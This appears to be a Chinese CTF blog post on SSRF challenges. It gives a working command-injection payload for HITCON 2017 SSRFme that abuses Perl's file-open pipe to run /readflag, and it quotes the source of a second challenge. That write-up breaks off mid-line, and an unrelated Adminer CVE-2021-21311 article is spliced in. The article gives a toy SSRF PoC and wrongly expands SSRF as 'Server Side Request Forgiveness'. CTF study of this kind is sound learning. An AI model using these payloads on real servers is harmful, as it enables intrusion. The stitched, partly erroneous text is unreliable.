SSRF专题-题解


想系统学习一下SSRF,这个专题用来记录自己找的一些SSRF题目

BUUCTF

BUUCTF-[HITCON 2017]SSRFme

题目直接丢了一段代码让审计

120.32.142.100 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
   
   //检测是否存在X_FORWARDED_FOR头
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//如果存在,将X_FORWARDED_FOR头部拆分成一个数组
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];//提取出数组的第一个IP地址
    }//这一段代码的作用总的说就是判断是否存在X_FORWARDED_FOR头部,如果存在,将其中的第一个IP地址取出

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//将上面获得的ip地址结合一个字符串orange进行md5加密
    @mkdir($sandbox);//基于生成的哈希值在sandbox目录下创建一个子目录
    @chdir($sandbox);//切换到该目录

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));//使用 shell_exec 执行系统命令 GET 来获取 URL 的内容,并将结果存储在 $data 变量中;
    //escapeshellarg 用于对 $_GET["url"] 进行转义以避免命令注入
    $info = pathinfo($_GET["filename"]);// 获取$_GET["filename"]的路径信息
    $dir  = str_replace(".", "", basename($info["dirname"]));// 去除目录名中的点号,创建目录并更改工作目录
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);// 将下载的数据保存到指定的文件中
    highlight_file(__FILE__);// 高亮显示当前PHP文件的源代码

简单来说,这段代码获取用户输入的URL内容,然后将其存入filename对应的位置。
我们先看看根目录有哪些文件

url=/&filename=test

在这里插入图片描述
又一个readflag,应该是要用readflag读取flag。那如何执行呢,这里考到了GET的一个命令执行漏洞。GET使用file协议时候底层会调用perl中的open函数,而perl函数要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
整理一下思路,现在我们需要打开一个文件名是执行readflag命令的文件;没有这个文件所以我们要先创建,创建后访问这个url并将结果存入test文件即可。

url=&filename=bash -c /readflag|
url=file:bash -c /readflag|&filename=test

在这里插入图片描述

BUUCTF-[第二章 web进阶]SSRF Training

点击查看源码
在这里插入图片描述
代码如下:

<?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{
   
    
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    {
   
    
        die('url fomat error'); 
    } 
    try 
    {
   
    
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    {
   
    
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{
   
    
     
    if (check_inner_ip($url)) 
    {
   
    
        echo $url.' is inner ip'; 
    } 
    else 
    {
   
   
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        {
   
    
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){
   
    
    safe_request_url($url); 
} 

?>

看一看代码执行流程,首先接收一段URL

$url = $_GET['url']; 

然后判断,如果URL非空,那么执行safe_request_url函数

<
Adminer是一个轻量级的数据库管理工具,广泛用于Web应用程序中。然而,在其2021年的版本中,发现了一个严重的SSRF(Server Side Request Forgiveness)漏洞,标识为CVE-2021-21311。该漏洞允许攻击者通过精心构造的请求,迫使服务器发起任意网络请求,从而可能导致敏感信息泄露、内部网络探测甚至远程代码执行。 ### 漏洞原理 CVE-2021-21311的成因主要与Adminer的“数据库连接”功能有关。当用户尝试连接到一个数据库时,Adminer会使用提供的主机名和端口来建立连接。如果攻击者能够控制这些参数,并且服务器端未对输入进行严格的过滤和验证,攻击者就可以构造恶意的请求,使服务器访问内部网络资源或执行其他恶意操作。 例如,攻击者可以将主机名设置为`http://127.0.0.1:80`,从而尝试访问本地Web服务,或者更进一步,尝试访问内网中的其他服务。这种攻击方式可以绕过传统的防火墙限制,因为请求是由服务器端发起的,而不是客户端。 ### 漏洞利用示例 以下是一个简单的PoC(Proof of Concept)代码,展示了如何利用CVE-2021-21311漏洞进行SSRF攻击。假设攻击者可以通过某种方式控制Adminer的数据库连接参数,攻击者可以构造一个恶意的请求,迫使服务器访问特定的URL。 ```php <?php // 假设攻击者可以控制$host变量 $host = 'http://127.0.0.1:80'; // 攻击者构造的恶意主机名 // 模拟Adminer的数据库连接逻辑 function connect_to_database($host) { // 使用file_get_contents发起请求,模拟SSRF漏洞 $response = @file_get_contents($host); return $response; } // 调用函数,发起恶意请求 $response = connect_to_database($host); echo $response; ?> ``` 在这个示例中,攻击者通过将`$host`变量设置为`http://127.0.0.1:80`,迫使服务器访问本地Web服务。这可能会导致敏感信息泄露,或者进一步利用内网中的其他服务。 ### 漏洞修复建议 为了防止CVE-2021-21311漏洞的利用,建议采取以下措施: 1. **输入验证**:对用户提供的数据库连接参数进行严格的验证,确保它们符合预期的格式,并且不包含任何可能用于SSRF攻击的特殊字符。 2. **黑名单过滤**:禁止用户输入某些敏感的主机名,如`localhost`、`127.0.0.1`、`0.0.0.0`等,以及常见的内部网络IP地址范围(如`192.168.x.x`、`10.x.x.x`、`172.16.x.x`到`172.31.x.x`)。 3. **使用白名单**:仅允许用户连接到预先定义的、可信的数据库服务器列表,避免用户自由输入主机名和端口。 4. **更新版本**:确保使用的是最新版本的Adminer,官方已经修复了该漏洞。及时更新软件是防止已知漏洞被利用的有效手段。 5. **最小权限原则**:确保Adminer运行在最低权限的账户下,以减少潜在攻击的影响范围。 通过以上措施,可以有效降低CVE-2021-21311漏洞的风险,保护系统的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值